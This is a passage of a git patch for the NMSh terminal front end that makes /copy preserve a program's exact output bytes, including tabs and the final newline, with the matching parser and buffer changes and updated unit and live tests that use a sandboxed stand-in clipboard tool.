back.waitFor(/ANSWERS=yes,no[\s\S]*Completed[\s\S]*waiting for input \(2 prompts\)/u); } finally { await sandbox.dispose(); } From 3907848f81817f72d52a9818c86fd430da1d4cd3 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Thu, 15 Oct 2026 21:45:38 +0530 Subject: [PATCH 03/16] /copy: the bytes the program printed, tabs and final newline included MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Physical QA counted 399 lines after copying `seq 1 400`; checklist item 1.11 expects `printf 'a\tb\n indented\nüñí\n'` to copy as 6109620a2020696e64656e7465640ac3bcc3b1c3ad0a. Both failed in the stored output, before the clipboard: command output is kept through the screen model, which draws a tab as spaces and records lines without saying whether the last one was ended, so `x\ny` and `x\ny\n` were stored alike. - The parser marks the cells a tab advanced over; exactLine writes the tab back while its whole span is intact (an overwritten span stays as shown). Drawing, selection, search, compare and reports keep the drawn text. - A record keeps copyText (only when it differs) and outputNewline, set from program output only: escapes after the newline still count, NMSh's own notices and carriage returns do not. Both survive restore. - serializeCopyPayload is the one exact copy; /copy, /cp, the picker, block Copy and clips use it. Records join with one line break, never two. Tests that pinned the dropped newline or tab expansion now expect the printed bytes. A live test runs each command and /copy separately through the real composer and checks both diagnostics byte for byte. --- src/clipboard/copySelection.ts | 14 ++++--- src/output/AnsiOutputParser.ts | 37 +++++++++++++++++- src/output/OutputBuffer.ts | 38 ++++++++++++++++--- src/sessions/TranscriptStore.ts | 2 + tests/copyExactLive.test.ts | 51 +++++++++++++++++++++++++ tests/copyFolding.test.ts | 3 +- tests/copyPayload.test.ts | 52 +++++++++++++++++++------- tests/copySelection.test.ts | 4 +- tests/copySelectionLive.test.ts | 18 ++++----- tests/outputBuffer.test.ts | 4 +- tests/outputReferencesLive.test.ts | 6 +-- tests/shiftSelection.test.ts | 10 ++--- tests/stickyHeaders.test.ts | 2 +- tests/transcriptClearOwnership.test.ts | 4 +- 14 files changed, 196 insertions(+), 49 deletions(-) create mode 100644 tests/copyExactLive.test.ts diff --git a/src/clipboard/copySelection.ts b/src/clipboard/copySelection.ts index 76f88e49..791aa691 100644 --- a/src/clipboard/copySelection.ts +++ b/src/clipboard/copySelection.ts @@ -1,4 +1,4 @@ -import type {CompletedCommand} from '../output/OutputBuffer.js'; +import {serializeCopyPayload, type CompletedCommand} from '../output/OutputBuffer.js'; import {parseReportFlag, type ReportFormat} from './report.js'; /** @@ -116,14 +116,18 @@ export function resolveCopySelection(selector: Extract recordCopyText(record, includeStatus)).filter(Boolean).join('\n'); + return records.map(record => recordCopyText(record, includeStatus)).filter(Boolean) + .reduce((payload, text) => !payload ? text : payload.endsWith('\n') ? payload + text : `${payload}\n${text}`, ''); } /** The brief note after a successful copy: what was copied and how much (one output keeps the plain wording). */ diff --git a/src/output/AnsiOutputParser.ts b/src/output/AnsiOutputParser.ts index a4fdccfd..55a66383 100644 --- a/src/output/AnsiOutputParser.ts +++ b/src/output/AnsiOutputParser.ts @@ -12,6 +12,12 @@ export interface StyledCell { * Raw PTY links never carry this mark. */ authored?: true; + /** + * One cell of the spaces a tab character advanced over (drawn as spaces); `tabSpan` on the first says how many. + * exactLine writes the tab back when the whole span is still intact. + */ + tab?: true; + tabSpan?: number; } /** Targets NMSh may author: http(s) without credentials, and local file URLs. */ @@ -130,7 +136,12 @@ export class AnsiOutputParser { } if (character === '\t') { const spaces = 8 - (this.column % 8); - for (let count = 0; count < spaces; count += 1) this.put(' ', 1); + for (let count = 0; count < spaces; count += 1) { + this.put(' ', 1); + const cell = this.current[this.column - 1]!; + cell.tab = true; + if (count === 0) cell.tabSpan = spaces; + } index += 1; continue; } @@ -221,6 +232,12 @@ export class AnsiOutputParser { return line ? plainLine(line) : undefined; } + /** A finished line as the program wrote it, tabs included (see exactLine). */ + exactLineAt(index: number): string | undefined { + const line = this.lines[index]; + return line ? exactLine(line) : undefined; + } + plainCurrentLine(): string { return plainLine(this.current); } @@ -386,6 +403,24 @@ export class AnsiOutputParser { } } +/** + * plainLine, except that a tab whose spaces are all still on the line is written as the tab the program printed. + * A span something later overwrote (even in part) stays the spaces now shown. Trailing whitespace is trimmed alike. + */ +export function exactLine(line: StyledLine): string { + let result = ''; + for (let index = 0; index < line.length; index += 1) { + const cell = line[index]; + const span = cell?.tabSpan ?? 0; + if (span && Array.from({length: span}, (_, offset) => line[index + offset]).every(item => item?.tab && item.text === ' ')) { + result += '\t'; + index += span - 1; + } else if (cell === undefined) result += ' '; + else if (cell !== null) result += cell.text; + } + return result.replace(/\s+$/u, ''); +} + export function plainLine(line: StyledLine): string { let result = ''; for (const cell of line) { diff --git a/src/output/OutputBuffer.ts b/src/output/OutputBuffer.ts index 9227ef14..1e47a159 100644 --- a/src/output/OutputBuffer.ts +++ b/src/output/OutputBuffer.ts @@ -46,6 +46,10 @@ export interface CompletedCommand { inputWaits?: number; command: string; output: string; + /** The output as the program wrote it for exact copies (tabs kept), stored only when it differs from `output`. */ + copyText?: string; + /** The program's output ended at a line break: an exact copy ends with one too. */ + outputNewline?: true; lifecycleText: string; exitCode: number; startId: number; @@ -84,7 +88,9 @@ export interface OutputTranscript { * command's and is kept. */ export function serializeCopyPayload(record: CompletedCommand): string { - return record.output; + // As the program wrote it: its tabs, and its final line break when it ended with one. + const exact = record.copyText ?? record.output; + return exact && record.outputNewline ? `${exact}\n` : exact; } /** Stored line text, compared as the transcript draws it: trailing blanks are not content. */ @@ -142,6 +148,8 @@ export class OutputBuffer { activities: SecondaryActivity[]; /** Its output cleared the screen: its header and earlier lines are gone. */ cleared?: boolean; + /** The program's last text ended a line (see endsLine). */ + endsLine?: boolean; }; private classifier?: CommandClassifier; /** What of the active command's output is transcript text (see TranscriptCut). */ @@ -326,7 +334,14 @@ export class OutputBuffer { write(data: string): void { this.classifier?.pushChunk(data); const text = this.cut ? this.cut.push(data) : data; - if (text) this.parser.write(text); + if (text) this.writeProgramText(text); + } + + /** Program output (never NMSh's own lines): drawn, and whether it last ended a line is remembered for exact copies. */ + private writeProgramText(text: string): void { + this.parser.write(text); + const ends = endsLine(text); + if (ends !== undefined && this.active) this.active.endsLine = ends; } tickActiveCommand(): void { @@ -336,7 +351,7 @@ export class OutputBuffer { /** `holdOpen`: the person is reading the transcript right now (scrolled back, selecting); the block finishes expanded. */ complete(exitCode: number, options: {holdOpen?: boolean} = {}): CompletedCommand | undefined { const held = this.cut?.flush(); - if (held) this.parser.write(held); + if (held) this.writeProgramText(held); this.parser.ensureLineBoundary(); if (!this.active) return undefined; const endId = this.parser.completedCount(); @@ -344,6 +359,7 @@ export class OutputBuffer { this.classifier?.finalize(exitCode); const mode = this.classifier?.mode ?? 'INLINE'; const output = this.commandOutput(this.active.outputStart, endId); + const exact = this.commandOutput(this.active.outputStart, endId, true); // Activity-bearing parents keep their own disclosure; otherwise the fold // policy decides from the finished output. Presentation only. const autoFolded = this.active.activities.length === 0 && !options.holdOpen @@ -354,6 +370,8 @@ export class OutputBuffer { const record: CompletedCommand = { command: this.active.command, output, + ...(exact !== output ? {copyText: exact} : {}), + ...(output && this.active.endsLine ? {outputNewline: true as const} : {}), lifecycleText: '', exitCode, startId: this.active.start, @@ -377,10 +395,10 @@ export class OutputBuffer { * What a command wrote: its block's lines without the ones NMSh added while it ran (a /copy confirmation, an Ask * exchange, a notice). Those stay where they were shown, but they were never the command's output. */ - private commandOutput(start: number, end: number): string { + private commandOutput(start: number, end: number, exact = false): string { const lines: string[] = []; for (let index = start; index < end; index += 1) { - if (this.lineTypes.get(index) !== 'metadata') lines.push(this.parser.plainLineAt(index) ?? ''); + if (this.lineTypes.get(index) !== 'metadata') lines.push((exact ? this.parser.exactLineAt(index) : this.parser.plainLineAt(index)) ?? ''); } return lines.join('\n'); } @@ -630,3 +648,13 @@ export class OutputBuffer { } } } + +// Escape sequences a program may write after its last text (a color reset after the final newline, a title). +const TRAILING_CONTROLS = /(?:\u001b\[[0-?]*[ -/]*[@-~]|\u001b\][^\u0007\u001b]*(?:\u0007|\u001b\\)|\u001b[ -/]*[0-~])+$/u; + +/** Whether text ends a line (its last character before trailing escapes is a newline); undefined when it has no text. */ +export function endsLine(text: string): boolean | undefined { + const visible = text.replace(TRAILING_CONTROLS, ''); + if (!visible) return undefined; + return visible.endsWith('\n'); +} diff --git a/src/sessions/TranscriptStore.ts b/src/sessions/TranscriptStore.ts index 2257ab32..ccae427d 100644 --- a/src/sessions/TranscriptStore.ts +++ b/src/sessions/TranscriptStore.ts @@ -97,6 +97,8 @@ function isTranscript(value: unknown): value is OutputTranscript { && typeof record.command === 'string' && typeof record.output === 'string' && typeof record.lifecycleText === 'string' && (record.outputIncomplete === undefined || record.outputIncomplete === true) + && (record.copyText === undefined || typeof record.copyText === 'string') + && (record.outputNewline === undefined || record.outputNewline === true) && typeof record.exitCode === 'number' && typeof record.startId === 'number' && typeof record.outputStartId === 'number' && (record.historicalContext === undefined diff --git a/tests/copyExactLive.test.ts b/tests/copyExactLive.test.ts new file mode 100644 index 00000000..33d00c34 --- /dev/null +++ b/tests/copyExactLive.test.ts @@ -0,0 +1,51 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {chmodSync, existsSync, mkdirSync, readFileSync, writeFileSync} from 'node:fs'; +import {join} from 'node:path'; +import {LiveSandbox, strip, until} from './helpers/liveFrontend.js'; + +/** + * Physical QA 1.11 and 1.12 through the real composer, PTY, session service and clipboard tool boundary: each command + * runs on its own, then /copy is submitted on its own, and a stand-in clipboard tool first on PATH records the exact + * bytes NMSh hands it (the person's clipboard is never touched). + */ +const supported = process.platform === 'darwin' || process.platform === 'linux'; + +test('live: /copy hands the clipboard the exact bytes printed: tabs, spaces, UTF-8 and the final newline; folded output in full', {skip: supported ? false : 'unsupported platform', timeout: 150_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: 'zsh'}, {}); + const bin = join(sandbox.root, 'fake-bin'); + mkdirSync(bin); + const clip = join(sandbox.root, 'clipboard.bin'); + for (const name of ['pbcopy', 'xclip', 'wl-copy']) { + writeFileSync(join(bin, name), `#!/bin/sh\ncat > ${JSON.stringify(clip)}\n`); + chmodSync(join(bin, name), 0o755); + } + const frontend = sandbox.launch([], {cols: 120, rows: 36}, {PATH: `${bin}:${process.env.PATH}`, ...(process.platform === 'linux' ? {DISPLAY: ':nmsh-test'} : {})}); + const read = () => existsSync(clip) ? readFileSync(clip) : Buffer.alloc(0); + const copy = async (command = '/copy') => { + writeFileSync(clip, ''); + frontend.pty.write(`${command}\r`); + await until(() => read().length > 0, 15_000, `the clipboard after ${command}`); + return read(); + }; + try { + await frontend.waitFor(/zsh/u); + await frontend.run('echo READY', /READY/u); + // 1.11: exactly the maintainer's bytes. + await frontend.run(`printf 'a\\tb\\n indented\\nüñí\\n'`, /indented/u); + assert.equal((await copy()).toString('hex'), '6109620a2020696e64656e7465640ac3bcc3b1c3ad0a'); + // 1.12: all 400 records, the final newline, no frontend text, though the block is folded on screen. + const mark = frontend.mark; + await frontend.run('seq 1 400', /400/u); + assert.match(strip(frontend.output.slice(mark)), /lines hidden/u, 'the block is folded'); + const seq = (await copy()).toString('utf8'); + assert.equal(seq, `${Array.from({length: 400}, (_, index) => index + 1).join('\n')}\n`); + assert.equal(seq.match(/\n/gu)?.length, 400, 'pbpaste | wc -l prints 400'); + // Selection ranges, output without a final newline, and wide or combined characters. + await frontend.run(`printf 'one\\n'`, /Completed/u); + await frontend.run(`printf 'no-newline'`, /Completed/u); + assert.equal((await copy('/copy 1-2')).toString(), 'one\nno-newline'); + await frontend.run(`printf '%s\\n' 'wide 漢字 ✓' 'emoji 👍🏽'`, /Completed/u); + assert.equal((await copy()).toString(), 'wide 漢字 ✓\nemoji 👍🏽\n'); + } finally { await sandbox.dispose(); } +}); diff --git a/tests/copyFolding.test.ts b/tests/copyFolding.test.ts index 4aa2184c..bce98a21 100644 --- a/tests/copyFolding.test.ts +++ b/tests/copyFolding.test.ts @@ -77,7 +77,8 @@ test('Auto-expand Off (default): no copy path changes folding; every copy reads assert.deepEqual(folds(), ALL_FOLDED, command); } await type('/copy 1-4'); - assert.equal(clip.read().split('\n').length, 900, 'all 900 lines, though every block is folded'); + assert.equal(clip.read().replace(/\n$/u, '').split('\n').length, 900, 'all 900 lines, though every block is folded'); + assert.ok(clip.read().endsWith('\n'), 'the last line keeps the line break it was printed with'); // The picker, direct block Copy and the Actions menu's copies. await type('/copy ui'); await instance['handleKey']({kind: 'text', value: 'a'}); diff --git a/tests/copyPayload.test.ts b/tests/copyPayload.test.ts index 49b8b11e..3b336fa3 100644 --- a/tests/copyPayload.test.ts +++ b/tests/copyPayload.test.ts @@ -4,6 +4,7 @@ import {chmodSync, existsSync, mkdirSync, readFileSync, writeFileSync} from 'nod import {join} from 'node:path'; import {OutputBuffer, serializeCopyPayload} from '../src/output/OutputBuffer.js'; import {blockCopyPayload} from '../src/ui/BlockActions.js'; +import {copySelectionPayload} from '../src/clipboard/copySelection.js'; import {LiveSandbox, until} from './helpers/liveFrontend.js'; /** @@ -23,27 +24,51 @@ test('/copy: a successful command copies its output only, never the completion r const buffer = new OutputBuffer(); run(buffer, 'tar -xvf a.tar', 'x one.txt\r\nx two.txt\r\n', 0, '✔ Completed · 21.6s · 15:42'); assert.equal(buffer.recentShell(1)!.lifecycleText, '✔ Completed · 21.6s · 15:42', 'the row is still recorded for display'); - assert.equal(serializeCopyPayload(buffer.recentShell(1)!), 'x one.txt\nx two.txt'); + assert.equal(serializeCopyPayload(buffer.recentShell(1)!), 'x one.txt\nx two.txt\n'); }); test('/copy: a failed command keeps its stderr and exit code on the record, without the failure row', () => { const buffer = new OutputBuffer(); const record = run(buffer, 'make', 'cc -c main.c\r\nmain.c:3: error: expected ;\r\n', 2, '✖ Failed · exit 2 · 0.4s · 15:43'); assert.equal(record.exitCode, 2); - assert.equal(serializeCopyPayload(record), 'cc -c main.c\nmain.c:3: error: expected ;'); + assert.equal(serializeCopyPayload(record), 'cc -c main.c\nmain.c:3: error: expected ;\n'); }); test('/copy: multiline output keeps blank lines, indentation and inner spacing', () => { const buffer = new OutputBuffer(); - // A tab is cursor movement on a terminal screen; NMSh's screen model copies it as the spaces it moved over. - const record = run(buffer, 'cat notes', 'title\r\n\r\n indented two spaces\r\n\ttabbed\r\nlast\r\n', 0, '✔ Completed · 0s'); - assert.equal(serializeCopyPayload(record), 'title\n\n indented two spaces\n tabbed\nlast'); + // The screen draws a tab as the spaces it moved over; the copy is the tab the program printed (physical QA 1.11). + const record = run(buffer, 'cat notes', 'title\r\n\r\n indented two spaces\r\n\ttabbed\r\na\tb\r\nlast\r\n', 0, '✔ Completed · 0s'); + assert.equal(serializeCopyPayload(record), 'title\n\n indented two spaces\n\ttabbed\na\tb\nlast\n'); + assert.equal(record.output, 'title\n\n indented two spaces\n tabbed\na b\nlast', 'search, compare and reports keep the drawn text'); + // A tab span a program later overwrote is no longer that tab: the copy is what the screen shows. + const overwritten = run(buffer, 'tabs', 'x\tyz\rxxx\r\n', 0, '✔ Completed · 0s'); + assert.equal(serializeCopyPayload(overwritten), 'xxx yz\n'); +}); + +test('/copy: the final line break is the program\'s: kept when printed, never added; escapes after it and NMSh\'s own lines do not count', () => { + const buffer = new OutputBuffer(); + // A color reset or a title after the last newline still ends the output with that newline. + assert.equal(serializeCopyPayload(run(buffer, 'ls --color', '\u001b[34mdir\u001b[0m\r\n\u001b[0m\u001b]0;title\u0007', 0, '✔')), 'dir\n'); + const unterminated = run(buffer, 'printf', 'x\r\ny', 0, '✔'); + assert.equal(serializeCopyPayload(unterminated), 'x\ny', 'no line break printed, none added'); + const blanks = run(buffer, 'printf', 'p\r\n\r\n\r\n', 0, '✔'); + assert.equal(serializeCopyPayload(blanks), 'p\n\n\n', 'blank lines at the end are kept'); + assert.equal(serializeCopyPayload(run(buffer, 'progress', '10%\r50%\r100%', 0, '✔')), '100%', 'a carriage return is not a line break'); + // NMSh's own line closes the command's open line on screen; it never makes the output end with a newline. + buffer.beginCommand('printf', ['❯ printf']); + buffer.write('open'); + buffer.addFrontendInteraction('/notices', 'Nothing new.'); + const open = buffer.complete(0)!; + assert.equal(serializeCopyPayload(open), 'open'); + assert.equal(serializeCopyPayload(run(buffer, 'true', '', 0, '✔')), '', 'silent stays empty'); + // Several records: one line break between them, never two. + assert.equal(copySelectionPayload([unterminated, blanks, open], false), 'x\ny\np\n\n\nopen'); }); test('/copy: output that merely looks like a status line is the command\'s and is kept', () => { const buffer = new OutputBuffer(); const record = run(buffer, 'printf', 'step 1\r\n✔ Completed · 21.6s · 15:42\r\nCompleted · 7 ms\r\n', 0, '✔ Completed · 0.1s · 15:44'); - assert.equal(serializeCopyPayload(record), 'step 1\n✔ Completed · 21.6s · 15:42\nCompleted · 7 ms'); + assert.equal(serializeCopyPayload(record), 'step 1\n✔ Completed · 21.6s · 15:42\nCompleted · 7 ms\n'); }); test('/copy N and block actions agree; folded output and long transcripts copy in full, also after restore', () => { @@ -52,15 +77,16 @@ test('/copy N and block actions agree; folded output and long transcripts copy i const folded = run(buffer, 'seq 400', long, 0, '✔ Completed · 1.2s'); for (let index = 0; index < 60; index++) run(buffer, `echo ${index}`, `out ${index}\r\n`, 0, `✔ Completed · ${index}ms`); assert.equal(folded.expanded, false, 'the long output is folded on screen'); - const expected = Array.from({length: 400}, (_, index) => `line ${index + 1}`).join('\n'); + const expected = `${Array.from({length: 400}, (_, index) => `line ${index + 1}`).join('\n')}\n`; assert.equal(serializeCopyPayload(buffer.recentShell(61)!), expected, 'a folded block copies every line'); - assert.equal(serializeCopyPayload(buffer.recentShell(1)!), 'out 59'); - assert.equal(serializeCopyPayload(buffer.recentShell(2)!), 'out 58'); + // Exactly as printed: echo ends its line, so the copy does too. + assert.equal(serializeCopyPayload(buffer.recentShell(1)!), 'out 59\n'); + assert.equal(serializeCopyPayload(buffer.recentShell(2)!), 'out 58\n'); assert.equal(blockCopyPayload(buffer.recentShell(1)!, 'copyOutput'), serializeCopyPayload(buffer.recentShell(1)!), 'Copy output and /copy share one source'); const restored = new OutputBuffer(); restored.restoreTranscript(buffer.transcript()); assert.equal(serializeCopyPayload(restored.recentShell(61)!), expected); - assert.equal(serializeCopyPayload(restored.recentShell(1)!), 'out 59'); + assert.equal(serializeCopyPayload(restored.recentShell(1)!), 'out 59\n', 'the line break survives restore'); }); test('live: /copy and /copy N put exactly the command output on the clipboard, through the real composer', {timeout: 90_000}, async () => { @@ -87,8 +113,8 @@ test('live: /copy and /copy N put exactly the command output on the clipboard, t await frontend.run('echo READY', /READY/u); await frontend.run(`printf 'alpha\\n\\n beta gamma\\n✔ Completed · 21.6s · 15:42\\n'`, /beta {2}gamma/u); await frontend.run(`sh -c 'echo to-stderr >&2; exit 3'`, /to-stderr/u); - assert.equal(await copied('/copy'), 'to-stderr'); - assert.equal(await copied('/copy 2'), 'alpha\n\n beta gamma\n✔ Completed · 21.6s · 15:42', 'the look-alike line is the command\'s own'); + assert.equal(await copied('/copy'), 'to-stderr\n'); + assert.equal(await copied('/copy 2'), 'alpha\n\n beta gamma\n✔ Completed · 21.6s · 15:42\n', 'the look-alike line is the command\'s own'); assert.doesNotMatch(await copied('/copy 3'), /Completed/u, 'echo READY copies as READY alone'); // A silent command: nothing is copied and the clipboard keeps what it held. await frontend.run('true', /❯/u); @@ -116,7 +142,7 @@ test('NMSh lines added while a command runs are shown in its block but are never output.addFrontendInteraction('/notices', 'Nothing new.'); output.write('two\r\n'); const record = output.complete(0)!; - assert.equal(serializeCopyPayload(record), 'one\ntwo'); + assert.equal(serializeCopyPayload(record), 'one\ntwo\n'); const restored = new OutputBuffer(); restored.restoreTranscript(output.transcript()); diff --git a/tests/copySelection.test.ts b/tests/copySelection.test.ts index dab50e2b..9478120b 100644 --- a/tests/copySelection.test.ts +++ b/tests/copySelection.test.ts @@ -86,7 +86,7 @@ test('resolve: oldest first; a missing number refuses the whole copy; -N takes w test('payload: output only by default; with status each record\'s own recorded status follows its own output', () => { const recent = transcript().recentShellCommands(); const pick = (text: string) => (resolveCopySelection(selector(text), recent) as {records: typeof recent}).records; - assert.equal(copySelectionPayload(pick('2-4'), false), 'boom\na\n\n b', 'silent commands add nothing; no status rows'); + assert.equal(copySelectionPayload(pick('2-4'), false), 'boom\na\n\n b\n', 'silent commands add nothing; no status rows; each output as printed'); assert.equal(copySelectionPayload(pick('2-4'), true), 'boom\n✘ Command failed · exit 2 · 12.9s · 10:02\n✔ Completed · 2 ms · 10:03\na\n\n b\n✔ Completed · 1.4s · 10:04 · 3.1s waiting for input'); assert.equal(copySelectionPayload(pick('3'), false), '', 'a silent command alone copies nothing'); @@ -113,7 +113,7 @@ test('folded and restored transcripts copy the full stored output, with the same test('block actions: Copy output and Copy command + output follow the status setting; Copy command never does', () => { const record = transcript().recentShellCommands()[3]!; - assert.equal(blockCopyPayload(record, 'copyOutput', false), 'boom'); + assert.equal(blockCopyPayload(record, 'copyOutput', false), 'boom\n'); assert.equal(blockCopyPayload(record, 'copyOutput', true), 'boom\n✘ Command failed · exit 2 · 12.9s · 10:02'); assert.equal(blockCopyPayload(record, 'copyBoth', true), 'false-ish\nboom\n✘ Command failed · exit 2 · 12.9s · 10:02'); assert.equal(blockCopyPayload(record, 'copyCommand', true), 'false-ish'); diff --git a/tests/copySelectionLive.test.ts b/tests/copySelectionLive.test.ts index 740a3686..cb2c9f8c 100644 --- a/tests/copySelectionLive.test.ts +++ b/tests/copySelectionLive.test.ts @@ -52,12 +52,12 @@ test('live: /copy and /cp select by number, count, range and list, oldest first; try { await ready(frontend); await history(frontend); - assert.equal(await copied(frontend, '/copy'), 'omega'); - assert.equal(await copied(frontend, '/copy -3'), 'boom\nomega', 'the silent command adds nothing'); - assert.equal(await copied(frontend, '/cp -3'), 'boom\nomega', '/cp is /copy'); - assert.equal(await copied(frontend, '/copy 2-4'), 'alpha\n two\nboom'); - assert.equal(await copied(frontend, '/cp 4,1'), 'alpha\n two\nomega', 'a list copies in the order the commands ran'); - assert.equal(await copied(frontend, '/cp latest'), 'omega'); + assert.equal(await copied(frontend, '/copy'), 'omega\n', 'exactly as printed, with its line break'); + assert.equal(await copied(frontend, '/copy -3'), 'boom\nomega\n', 'the silent command adds nothing'); + assert.equal(await copied(frontend, '/cp -3'), 'boom\nomega\n', '/cp is /copy'); + assert.equal(await copied(frontend, '/copy 2-4'), 'alpha\n two\nboom\n'); + assert.equal(await copied(frontend, '/cp 4,1'), 'alpha\n two\nomega\n', 'a list copies in the order the commands ran'); + assert.equal(await copied(frontend, '/cp latest'), 'omega\n'); const withStatus = await copied(frontend, '/cp -3 --status'); assert.match(withStatus, /^boom\n✘ Command failed · exit 3 · [^\n]+\n✔ Completed · [^\n]+\nomega\n✔ Completed · [^\n]+$/u, `each status follows its own output; the silent one copies its status alone: ${JSON.stringify(withStatus)}`); @@ -91,7 +91,7 @@ test('live: Interactive Picker mode: bare /copy opens the picker; it says whethe await ready(frontend); await history(frontend); // Explicit forms behave the same in both modes. - assert.equal(await copied(frontend, '/copy 1'), 'omega'); + assert.equal(await copied(frontend, '/copy 1'), 'omega\n'); let mark = frontend.mark; frontend.pty.write('/copy\r'); await frontend.waitFor(/Copy output[\s\S]*Completion status: not included \(s\)[\s\S]*echo omega/u, mark); @@ -132,7 +132,7 @@ test('live: /copy settings changes the default and the status setting; they pers }, 10_000, 'the setting saved'); frontend.pty.write('\u001b'); assert.match(await copied(frontend, '/copy'), /^PERSIST\n✔ Completed · /u, 'the setting applies at once'); - assert.equal(await copied(frontend, '/copy --no-status'), 'PERSIST', '--no-status overrides it once'); + assert.equal(await copied(frontend, '/copy --no-status'), 'PERSIST\n', '--no-status overrides it once'); frontend.pty.kill('SIGKILL'); const next = launch(); await ready(next); @@ -151,7 +151,7 @@ test('live: after detach and reattach, /copy reaches the commands of the restore const back = launch(['--attach', session!.id]); await back.waitFor(/omega/u, 0, 30_000); await back.waitFor(/❯/u); - assert.equal(await copied(back, '/copy -3'), 'boom\nomega'); + assert.equal(await copied(back, '/copy -3'), 'boom\nomega\n'); assert.match(await copied(back, '/cp 1 --status'), /^omega\n✔ Completed · /u); } finally { await sandbox.dispose(); } }); diff --git a/tests/outputBuffer.test.ts b/tests/outputBuffer.test.ts index 5d609466..69852c3b 100644 --- a/tests/outputBuffer.test.ts +++ b/tests/outputBuffer.test.ts @@ -36,7 +36,7 @@ test('transcript snapshot restores command details, fold state, and plain-text c assert.equal(restored.recent(1)?.output, 'hello'); assert.equal(restored.recent(1)?.expanded, false); assert.equal(restored.recent(1)?.lifecycleText, 'Completed · 0s'); - assert.equal(serializeCopyPayload(restored.recent(1)!), 'hello', 'the lifecycle row is NMSh\'s, not the command\'s'); + assert.equal(serializeCopyPayload(restored.recent(1)!), 'hello\n', 'the lifecycle row is NMSh\'s, not the command\'s; the line break survives restore'); assert.ok(restored.wrapped(80).some(row => row.isFoldHint)); }); @@ -139,7 +139,7 @@ test('historical context stays frozen per command, uses muted dividers, and surv assert.match(headers[0]?.ansi ?? '', /\u001B\[0m\u001B\[49m\u001B\[38;2;[0-9]+;[0-9]+;[0-9]+m▓\u001B\[38;2;[0-9]+;[0-9]+;[0-9]+m▒\u001B\[38;2;[0-9]+;[0-9]+;[0-9]+m░ .*\u001B\[0m\u001B\[49m\u001B\[0m \u001B\[38;2;162;151;190m─/u, 'archive fade uses per-cell colors on neutral background before its solid divider'); assert.doesNotMatch(headers[0]?.ansi ?? '', /48;2;(?:52;105;98|72;152;100|194;98;99)m/u); - assert.equal(serializeCopyPayload(output.recent(2)!), '/Users/test/project'); + assert.equal(serializeCopyPayload(output.recent(2)!), '/Users/test/project\n'); assert.equal(output.recent(2)?.historicalContext?.branch, 'dev'); const restored = new OutputBuffer(); diff --git a/tests/outputReferencesLive.test.ts b/tests/outputReferencesLive.test.ts index 5fb30913..6d2c10a5 100644 --- a/tests/outputReferencesLive.test.ts +++ b/tests/outputReferencesLive.test.ts @@ -55,9 +55,9 @@ test('live: failure keys and reference copies use restored command records and p assert.equal(readFileSync(clipboard, 'utf8'), expected); } // Successful output containing "error" is skipped. Navigation chooses records, not matching output rows. - await copyOutput('\u001b[19~', 'src/latest.ts:42:7\nhttps://example.com/docs'); - await copyOutput('\u001b[19~', 'OLDER-FAILURE'); - await copyOutput('\u001b[19;2~', 'src/latest.ts:42:7\nhttps://example.com/docs'); + await copyOutput('\u001b[19~', 'src/latest.ts:42:7\nhttps://example.com/docs\n'); + await copyOutput('\u001b[19~', 'OLDER-FAILURE\n'); + await copyOutput('\u001b[19;2~', 'src/latest.ts:42:7\nhttps://example.com/docs\n'); await palette(back, 'files links', /Files, links and more/u); const mark = back.mark; diff --git a/tests/shiftSelection.test.ts b/tests/shiftSelection.test.ts index 4424a9ad..112d8ccc 100644 --- a/tests/shiftSelection.test.ts +++ b/tests/shiftSelection.test.ts @@ -310,7 +310,7 @@ test('copy failure: PTY output + failure lifecycle row are both in payload', () assert.equal(record.lifecycleText, '✘ Failed after 0.0s · exit 127 · 04:12', 'lifecycleText is the completion row'); // The lifecycle row is NMSh's presentation: recorded for display, never part of what /copy copies. - assert.equal(serializeCopyPayload(record), 'zsh: command not found: meow', 'payload is the PTY output only'); + assert.equal(serializeCopyPayload(record), 'zsh: command not found: meow\n', 'payload is the PTY output only, as printed'); }); test('copy success: the success lifecycle row is not in the payload', () => { @@ -320,7 +320,7 @@ test('copy success: the success lifecycle row is not in the payload', () => { output.complete(0); output.setCompletionLifecycle('Completed · 0.0s · 04:12'); output.addHistoryLine('\u001B[32mCompleted · 0.0s\u001B[0m\u001B[2m · 04:12\u001B[0m'); - assert.equal(serializeCopyPayload(output.recent(1)!), 'hello'); + assert.equal(serializeCopyPayload(output.recent(1)!), 'hello\n'); }); test('copy empty PTY: a silent command has nothing to copy (the host says so and leaves the clipboard alone)', () => { @@ -340,7 +340,7 @@ test('copy interrupted: the stopped row is not in the payload', () => { output.write('partial\n'); output.complete(130); output.setCompletionLifecycle('✘ Stopped after 1.5s · done 04:14'); - assert.equal(serializeCopyPayload(output.recent(1)!), 'partial'); + assert.equal(serializeCopyPayload(output.recent(1)!), 'partial\n'); }); test('copy /copy N: the Nth recent command copies its own output', () => { @@ -355,8 +355,8 @@ test('copy /copy N: the Nth recent command copies its own output', () => { output.complete(127); output.setCompletionLifecycle('✘ Failed after 0.0s · exit 127 · done 04:11'); output.addHistoryLine('✘ Failed after 0.0s · exit 127 · done 04:11'); - assert.equal(serializeCopyPayload(output.recent(1)!), 'zsh: command not found: meow'); - assert.equal(serializeCopyPayload(output.recent(2)!), 'first'); + assert.equal(serializeCopyPayload(output.recent(1)!), 'zsh: command not found: meow\n'); + assert.equal(serializeCopyPayload(output.recent(2)!), 'first\n'); }); test('copy feedback counts reflect exactly what was copied', () => { diff --git a/tests/stickyHeaders.test.ts b/tests/stickyHeaders.test.ts index 329026ad..2f89a517 100644 --- a/tests/stickyHeaders.test.ts +++ b/tests/stickyHeaders.test.ts @@ -122,7 +122,7 @@ test('sticky is never stored: transcript, journal payload, and copy stay unchang const after = output.transcript(); assert.equal(JSON.stringify(after), before); assert.ok(!JSON.stringify(after).includes('blockStartId')); - assert.equal(serializeCopyPayload(output.recent(1)!), 'charlie-out-0\ncharlie-out-1\ncharlie-out-2\ncharlie-out-3\ncharlie-out-4'); + assert.equal(serializeCopyPayload(output.recent(1)!), 'charlie-out-0\ncharlie-out-1\ncharlie-out-2\ncharlie-out-3\ncharlie-out-4\n'); }); test('follow mode keeps a running command pinned; Jump to bottom is unaffected', () => { diff --git a/tests/transcriptClearOwnership.test.ts b/tests/transcriptClearOwnership.test.ts index 7ba723ff..87a29bd7 100644 --- 